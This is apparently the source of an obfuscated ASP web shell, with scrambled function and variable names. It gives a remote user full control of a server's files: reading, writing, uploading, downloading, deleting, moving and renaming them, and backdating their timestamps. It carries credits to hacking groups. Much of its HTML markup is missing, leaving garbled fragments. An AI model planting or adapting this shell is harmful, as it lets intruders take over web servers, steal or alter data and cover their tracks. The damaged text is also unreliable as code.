<% echo"" adutj ivv&" »","#0099ff","2" eedi"

" End Sub Function tortz(vqsbz) Set objCountFile=dut.OpenTextFile(vqsbz,1,True) tortz=objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing End Function Function zhxc(vqsbz) Dim kodwq If Not qjr Then On Error Resume Next Set kodwq=mfmq("Adodb.Stream") With kodwq .Type=2 .Mode=3 .Open .LoadFromFile vqsbz .Charset="utf-8" .Position=2 zhxc=.ReadText() .Close End With Set kodwq=Nothing End Function Sub vtyjq(vqsbz,spmh) Dim theFile Set theFile=dut.OpenTextFile(vqsbz,2,True) theFile.Write spmh theFile.Close Set theFile=Nothing End Sub Sub oooeu(vqsbz,spmh) Dim kodwq If Not qjr Then On Error Resume Next Set kodwq=mfmq("Adodb.Stream") With kodwq .Type=2 .Mode=3 .Open .Charset="utf-8" .WriteText spmh .SavetoFile vqsbz,2 .Close End With Set kodwq=Nothing End Sub Sub vwsrt() If Not qjr Then On Error Resume Next If mhve="file"Then vqsbz=vqsbz&"\"&yug Call dut.CreateTextFile(vqsbz,False) wqj Else dut.CreateFolder(vqsbz&"\"&yug) End If If Err Then smeb(Err) Else zhv"File/folder created" End If End Sub Sub mgxnb() Dim etzij,advu,ooz,mxq If Not qjr Then On Error Resume Next vqsbz=lgk(puvgw,"|",False) etzij=smfap(puvgw,"|") If InStr(vqsbz,"\")<1 Then vqsbz=vqsbz&"\" Dim theFile,fileName,aqwr If vqsbz=""Or etzij=""Then zhv"Parameter wrong!" Exit Sub End If If strFileMethod="fso"Then If acxze="renamefolder"Then Set aqwr=dut.GetFolder(vqsbz) aqwr.Name=etzij Set aqwr=Nothing Else Set theFile=dut.GetFile(vqsbz) theFile.Name=etzij Set theFile=Nothing End If Else mxq=smfap(vqsbz,"\") ooz=lgk(vqsbz,"\",False) Set advu=erd.NameSpace(ooz) Set objItem=advu.ParseName(mxq) objItem.Name=etzij End If If Err Then smeb(Err) Else zhv"Rename completed" End If End Sub Sub vuh() If Not qjr Then On Error Resume Next If acxze="sgqly"Then Call dut.DeleteFolder(vqsbz,True) Else Call dut.DeleteFile(vqsbz,True) End If If Len(vqsbz)=2 Then vqsbz=vqsbz&"\" If Err Then smeb(Err) Else zhv"File/folder deleted" End If End Sub Sub jreg() Dim ylkbe,zyn,bpavi,egcb,kcos If Not qjr Then On Error Resume Next vqsbz=Left(puvgw,Instr(puvgw,"|")-1) zyn=Mid(puvgw,InStr(puvgw,"|")+1) If vqsbz=""Or zyn=""Then zhv"Parameter wrong!" Exit Sub End If If Right(zyn,1)<>"\"Then zyn=zyn&"\" Select Case acxze Case"vihy" Call dut.CopyFolder(vqsbz,zyn) Case"tbqwf" Call dut.CopyFile(vqsbz,zyn) Case"ewvk" Call dut.MoveFolder(vqsbz,zyn) Case"ejgn" Call dut.MoveFile(vqsbz,zyn) End Select If Err Then smeb(Err) Else zhv"File/folder copyed/moved" End If End Sub Sub rsri() Dim sdxpm,argbp,wruwd,clagp If Not qjr Then On Error Resume Next vqsbz=Left(puvgw,Instr(puvgw,"|")-1) If Right(vqsbz,1)="\"And Len(vqsbz)>3 Then vqsbz=Left(vqsbz,Len(vqsbz)-1) argbp=smfap(vqsbz,"\") wruwd=Mid(puvgw,Instr(puvgw,"|")+1) vqsbz=lgk(vqsbz,"\",False) Set clagp=erd.NameSpace(vqsbz) Set sdxpm=clagp.ParseName(argbp) If wruwd<>""Then If IsDate(wruwd) Then sdxpm.ModifyDate=wruwd End If If Err Then smeb(Err) Else zhv"Time modiffied" End If Set sdxpm=Nothing Set clagp=Nothing End Sub Sub qws() Response.Clear If Not qjr Then On Error Resume Next Dim kodwq,fileName,kpmtb fileName=smfap(vqsbz,"\") Set kodwq=mfmq("Adodb.Stream") kodwq.Open kodwq.Type=1 kodwq.LoadFromFile(vqsbz) smeb(Err) session.CodePage=936 Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName session.CodePage=65001 Response.AddHeader"Content-Length",kodwq.Size Response.ContentType="Application/Octet-Stream" Response.BinaryWrite kodwq.Read Response.Flush() kodwq.Close Set kodwq=Nothing End Sub Sub uvrs() If Not qjr Then On Error Resume Next Dim i,j,info,srh,theFile,fileName,spmh If InstrRev(vqsbz,".")"\"Then vqsbz=vqsbz&"\" vqsbz=vqsbz&igiqh End If If InStr(vqsbz,":")<1 Then vqsbz=vqt&"\"&vqsbz Set kodwq=mfmq("Adodb.Stream") Set srh=mfmq("Adodb.Stream") With kodwq .Type=1 .Mode=3 .Open .Write Request.BinaryRead(Request.TotalBytes) .Position=0 spmh=.Read() i=InStrB(spmh,chrB(13)&chrB(10)) info=LeftB(spmh,i-1) i=Len(info)+2 i=InStrB(i,spmh,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1 j=InStrB(i,spmh,info)-1 srh.Type=1 srh.Mode=3 srh.Open kodwq.position=i .CopyTo srh,j-i-2 If xxyj=1 Then srh.SavetoFile vqsbz,2 Else srh.SavetoFile vqsbz End If If Err Then smeb(Err) Else zhv"File uploaded" End If srh.Close .Close End With Set kodwq=Nothing Set srh=Nothing End Sub Function rsdx(xdl) If Not zvhy Or xdl=""Then rsdx=xdl Exit Function End If Dim tt,odyzj tt="" For i=1 To Len(xdl) odyzj=Mid(xdl,i,1) If Asc(odyzj)<128 And Asc(odyzj)>0 then tt=tt&Asc(odyzj)+ybd&miih Else tt=tt&odyzj&miih End If Next rsdx=Left(tt,Len(tt)-1) End Function Function wdhw(jtd) If Not zvhy Or jtd=""Then wdhw=jtd Exit Function End If Dim dd,ofetm dd="" ofetm=Split(jtd,miih) For i=0 To UBound(ofetm) If IsNumeric(ofetm(i))Then dd=dd&Chr(CInt(ofetm(i))-ybd) Else dd=dd&ofetm(i) End If Next wdhw=dd End Function Function jck() Dim bdyaf,pylll,vhjdi pylll=88 vhjdi=31 bdyaf="
" bdyaf=bdyaf&"Bink Team | " bdyaf=bdyaf&"0kee Team | " bdyaf=bdyaf&"T00ls | " bdyaf=bdyaf&"Fuck Tencent" jck=bdyaf End Function Function gbba(str) gbba=Request.ServerVariables(str) End Function Function mfmq(frije) Set mfmq=Server.CreateObject(frije) End Function Function dtwz(frije) Set dtwz=GetObject(frije) End Function Function qtyi(str) qtyi=server.urlencode(str) End Function Function pjaq(str) Dim yyz,ewfcm yyz="" For i=0 To Len(str)-1 ewfcm=Right(str,Len(str)-i) If Asc(ewfcm)<16 Then yyz=yyz&"0" yyz=yyz&CStr(Hex(Asc(ewfcm))) Next pjaq="0x"&yyz End Function Function pxxk(str) Dim yyz,ewfcm yyz="" For i=0 To Len(str)-1 ewfcm=Right(str,Len(str)-i) yyz=yyz&CStr(Hex(Asc(ewfcm)))&"00" Next pxxk="0x"&yyz End Function Function htmlEncode(str) str=vresz(str) str=Replace(str,Chr(13)&Chr(10),"
") htmlEncode=Replace(str," "," ") End Function Function vresz(str) If str=""Or IsNull(str)Then vresz="" Exit Function End If vresz=Server.HtmlEncode(str) End Function Function dhh(str) dhh=Server.MapPath(str) End Function Sub smeb(Err) If Err Then zhv"Exception :"&Err.Description zhv"Exception source :"&Err.Source Err.Clear End If End Sub Function utzvg(ByVal str) str=Replace(str,"\","\\") utzvg=Replace(str,"\\\\","\\") End Function Function lgk(str,pnux,qxqyo) If str="" Or InStr(str,pnux)<1 Then lgk="" Exit Function End If If qxqyo Then lgk=Left(str,InStr(str,pnux)-1) Else lgk=Left(str,InstrRev(str,pnux)-1) End If End Function Function smfap(str,pnux) If str="" Or InStr(str,pnux)<1 Then smfap="" Exit Function End If smfap=Mid(str,InstrRev(str,pnux)+Len(pnux)) End Function Sub echo(str) Response.Write str End Sub Sub eedi(str) echo str&vbCrLf End Sub Sub iquhg(frije,opns) echo""&frije&" :" echo"" End Sub Sub adutj(str,color,size) echo"""Then echo" size="""&size&"""" eedi">"&str&"" End Sub Sub ltvq(width) eedi"" End Sub Sub xlvqe() eedi"" End Sub Sub abywz(num) echo"" End Sub Sub xjnn(num) echo"" End Sub Sub ztlif(zvhy) echo"

" xze"goaction",goaction nedsl=nedsl+1 End Sub Sub zro() eedi"

" End Sub Sub ncxl(value,width) echo"" echo"" eedi"" End Sub Sub snqs(str,color,size) echo"" adutj str,color,size eedi"" End Sub Sub tygwb() echo"" End Sub Sub igl() eedi"" End Sub Sub doTd(td,width) If IsObject(td)Or td=""Or IsNull(td) Then td="Null" echo"""Then echo" width='"&width&"'" echo">" echo td eedi"" End Sub Sub pwbon(td,width) If IsNull(td) Then td="Null" doTd td,width End Sub Sub pisa(wdi,name,value,size,uko) Dim cls If wdi="button"Or wdi="submit"Or wdi="reset"Then cls="bt" Else cls="input" End If eedi"" End Sub Sub xze(name,value) echo"" End Sub Sub luhhh(wdi,name,value,width,uko,span) Dim cls If wdi="button"Or wdi="submit"Or wdi="reset"Then cls="bt" Else cls="tdInput" End If If span=""Then span=1 echo"" echo"" eedi"" End Sub Sub adwba(value) eedi"" End Sub Sub cuuu(name,value,rows) echo"" pvrd name,value,"100%",rows," class=""tdText""" eedi"" End Sub Sub asby(str) If Not qjr Then On Error Resume Next If IsNull(str)Then str="Null" echo""&str&"" End Sub Sub pvrd(name,value,width,rows,uko) echo"" echo vresz(value) eedi"" End Sub Sub jqsb() echo"

" End Sub Sub uxzf(name,width,uko) eedi"" End Sub Sub fndid() eedi"" End Sub Sub zepw(value,str) eedi""&str&"" End Sub Sub uuuk() jozsz=jozsz+1 If jozsz>=2 Then jozsz=0 End Sub Sub cutw(str) eedi""&str&"" End Sub Sub zhv(str) wbk=wbk&"
• "&str&"
" End Sub Sub duhsb(Err) If Err Then smeb(Err) sbbo End If End Sub Function nopx(str,fehmw) blhvq.Pattern=fehmw nopx=blhvq.Test(str) End Function Function mgl(str,fehmw,gbriw) If gbriw Then fehmw=phfbl(fehmw) blhvq.Pattern=fehmw Set mgl=blhvq.Execute(str) End Function Function bnb(str,fehmw,poc,gbriw) If gbriw Then fehmw=phfbl(fehmw) blhvq.Pattern=fehmw bnb=blhvq.Replace(str,poc) End Function Function phfbl(str) str=Replace(str,"\","\\") str=Replace(str,".","\.") str=Replace(str,"?","\?") str=Replace(str,"+","\+") str=Replace(str,"(","\(") str=Replace(str,")","\)") str=Replace(str,"*","\*") str=Replace(str,"[","\[") str=Replace(str,"]","\]") phfbl=str End Function %>